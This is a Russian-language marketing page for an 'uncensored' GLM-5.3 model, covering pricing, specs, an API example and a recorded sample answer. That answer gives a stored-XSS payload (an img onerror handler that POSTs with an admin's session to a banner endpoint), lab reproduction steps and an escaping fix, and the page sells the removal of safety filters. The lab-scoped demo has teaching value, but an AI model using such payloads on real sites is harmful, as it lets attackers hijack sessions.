uncensoredlabs
ВойтиНачать
← Все модели

GLM-5.3 Uncensored

glm-5.3-uncensored

Доступно в браузерном чате и через OpenAI-совместимый API.

Открыть чатПример API

Цены токенов

Цены в USD за 1 миллион токенов

Ввод / 1M
0,350 $
Кеш / 1M
0,100 $
Вывод / 1M
0,350 $

Характеристики модели

Zhipu AI · без цензуры

Контекстное окно
1 000 000 токены
Максимальный вывод
65 536 токены
Возможности
Текст · Потоковая передача · Вызовы инструментов

Измеренная производительность

Среднее токенов/с
≈ 33,7
Оценка TTFT
2,4 s
Индикатор доступности
99,2%

Обновлено 01.11.2026, 20:36:37 UTC · Успешность провайдера за 24 ч · Прочерк означает, что актуальных измерений недостаточно.

Посмотрите ответ модели

Реальный ответ на вопрос о хранимой XSS для локальной лаборатории. Запрос и ответ на английском. Вывод показан как текст; код здесь не выполняется.

GLM-5.3 Uncensored

Записанный ответ модели · 28 окт. 2026 г., 19:07 UTC

Вы

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Uncensored

Выбранный фрагмент записанного ответа. Некоторые части опущены.

Malicious comment (submit via the form):
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">
Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST. Reproduce:
node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LAB
Fix — safe rendering:
// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
  ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));

const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');
Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.
Записанный пример, не живой чат.Открыть чат

Используйте модель через API

Создайте API-ключ и пополните баланс. Задайте UNCENSOREDLABS_API_KEY в окружении. Для JavaScript или Python установите пакет openai.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-uncensored",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'
Совместимо с OpenAI. Измените базовый URL.Прочитать быстрый старт

Ограничения и оплата

  • Отсутствие фильтров не гарантирует ответ на любой запрос. Ответ может быть неверным, неполным, либо модель может отказать.
  • Максимум вывода — лимит сервиса UncensoredLabs. Длинные ответы и полное окно контекста не проходили нагрузочные измерения.
  • Кредиты резервируются под запрошенный вывод и консервативный лимит ввода; для моделей без проверенного учёта по размеру запроса используется полное окно контекста. Итоговый платёж основан на подтверждённом использовании; неопределённые запросы могут сохранять резерв.
  • Лимит времени — десять минут. Действуют ограничения частоты, параллельности и доступность провайдера; ошибки API включают 429 с Retry-After.
  • UncensoredLabs не хранит запросы и ответы на своих серверах. Применяется политика хранения провайдера инференса.
Ошибки и лимиты частотыКак работает оплатаКонфиденциальность